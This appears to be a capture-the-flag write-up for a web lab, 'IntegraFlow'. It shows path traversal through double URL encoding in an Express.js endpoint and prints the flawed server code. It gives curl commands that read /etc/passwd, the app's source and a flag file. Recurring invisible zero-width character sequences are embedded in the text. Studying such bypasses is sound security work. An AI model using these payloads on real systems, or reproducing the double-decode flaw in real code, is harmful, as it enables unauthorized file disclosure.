← Back to Writeups
CUSTOMMediumWeb

Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding

XESXOR9/2/20264 min read
#web#custom#medium#double_url_encoding_bypass#express_param_decoding#source_code_disclosure#validation_decode_mismatch

Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: double_url_encoding_bypass, express_param_decoding, source_code_disclosure, validation_decode_mismatch

Summary

Walkthrough of the CUSTOM Web Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding. Task: Express.js API integration platform serves documentation files via /api/resources/* endpoint with path traversal protection. Solution: double URL encoding (%252e%252e%252f) bypasses validation t

Description

IntegraFlow is an API integration platform built by FlowLine Systems that lets developers connect various services through a unified dashboard. The platform features an app marketplace with 10+ verified integrations, OAuth-based connection management, webhook event delivery, and comprehensive API documentation.

Hint: "The platform serves API documentation dynamically — take a close look at how documentation resources are loaded and whether the file retrieval mechanism can be manipulated." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express web application serves API documentation files dynamically through a /api/resources/* endpoint. The goal is to exploit the file retrieval mechanism to read sensitive files from the server, specifically /root/flag.txt. Credentials provided: user@test.com / password123.

Analysis

Reconnaissance

The platform is an Express.js (Node.js) application running behind nginx/1.25.5. After logging in with the provided credentials (POST /login), the dashboard presents several tabs: Dashboard, Marketplace, Integrations, API Docs, Webhooks, Profile. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Anti-bot trap: Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs — designed to trick automated agents. This was correctly ignored.

Identifying the Vulnerable Endpoint

The /docs page loads API documentation dynamically via JavaScript. The client-side function loadDocument(filename) calls:

javascript
fetch('/api/resources/' + encodeURIComponent(filename))

Documentation files served include: authentication.md, changelog.md, endpoints.md, errors.md, getting-started.md, rate-limits.md, sdks.md, webhooks.md. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The key attack surface is the GET /api/resources/* endpoint.

Source Code Disclosure

By using double-encoded path traversal, the server source code was retrieved:

  • /api/resources/%252e%252e%252fserver.js — full Express application source
  • /api/resources/%252e%252e%252fpackage.json — dependencies (Express 4.18.2, EJS, better-sqlite3, marked, bcryptjs)

The Vulnerability

The vulnerable code in server.js:

javascript
app.get('/api/resources/*', requireAuth, (req, res) => {
  const rawUrl = req.originalUrl;
  const pathSegment = rawUrl.split('/api/resources/')[1];
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  // Validation on raw URL string
  if (pathSegment.includes('../') || pathSegment.includes('..\\') ||
      pathSegment.toLowerCase().includes('%2e')) {
    return res.status(403).json({ error: 'Invalid resource path: directory traversal not allowed' });
  }

  // File access uses req.params[0] (already decoded once by Express) + another decodeURIComponent
  const resourcePath = req.params[0];
  const decodedPath = decodeURIComponent(resourcePath);
  const fullPath = path.join(__dirname, 'docs', decodedPath);
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  const content = fs.readFileSync(fullPath, 'utf8');
  // ...serves the file
});

Root cause — validation/decode mismatch:

  1. Validation checks pathSegment (extracted from raw URL) for ../, ..\\, and %2e
  2. File access uses req.params[0] (Express already URL-decoded once) then applies decodeURIComponent() again — a double decode

With double URL encoding (%252e%252e%252f for ../):

StageValueCheck passes?
Raw URL (req.originalUrl)%252e%252e%252fYes — no ../, no %2e (it's %25 + 2e)
Express decode (req.params[0])%2e%2e%2f(not checked)
Manual decodeURIComponent()../(not checked — this is what hits the filesystem)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The validation and the file access operate on different decode levels of the same input.

Solution

Step 1: Authenticate

bash
curl -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@test.com&password=password123"

Step 2: Confirm path traversal works

Read /etc/passwd to confirm arbitrary file read:

bash
curl -b cookies.txt \
  "https://TARGET/api/resources/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

Response confirms Alpine Linux container — path traversal is successful. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Read source code (optional but useful)

bash
# Read server.js
curl -b cookies.txt \
  "https://TARGET/api/resources/%252e%252e%252fserver.js"

# Read package.json
curl -b cookies.txt \
  "https://TARGET/api/resources/%252e%252e%252fpackage.json"

Step 4: Retrieve the flag

bash
curl -b cookies.txt \
  "https://TARGET/api/resources/%252e%252e%252f%252e%252e%252f%252e%252e%252froot%252fflag.txt"

Response:

json
{"content":"FLAG{REDACTED}\n","filename":"flag.txt"}

Encoding breakdown

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

To encode ../../../root/flag.txt with double URL encoding:

CharacterSingle encodeDouble encode
.%2e%252e
/%2f%252f

Full payload: %252e%252e%252f%252e%252e%252f%252e%252e%252froot%252fflag.txt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering double_url_encoding_bypass, express_param_decoding, source_code_disclosure, validation_decode_mismatch was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 156 — IntegraFlow — Path Traversal via Double URL Encoding • Difficulty: Medium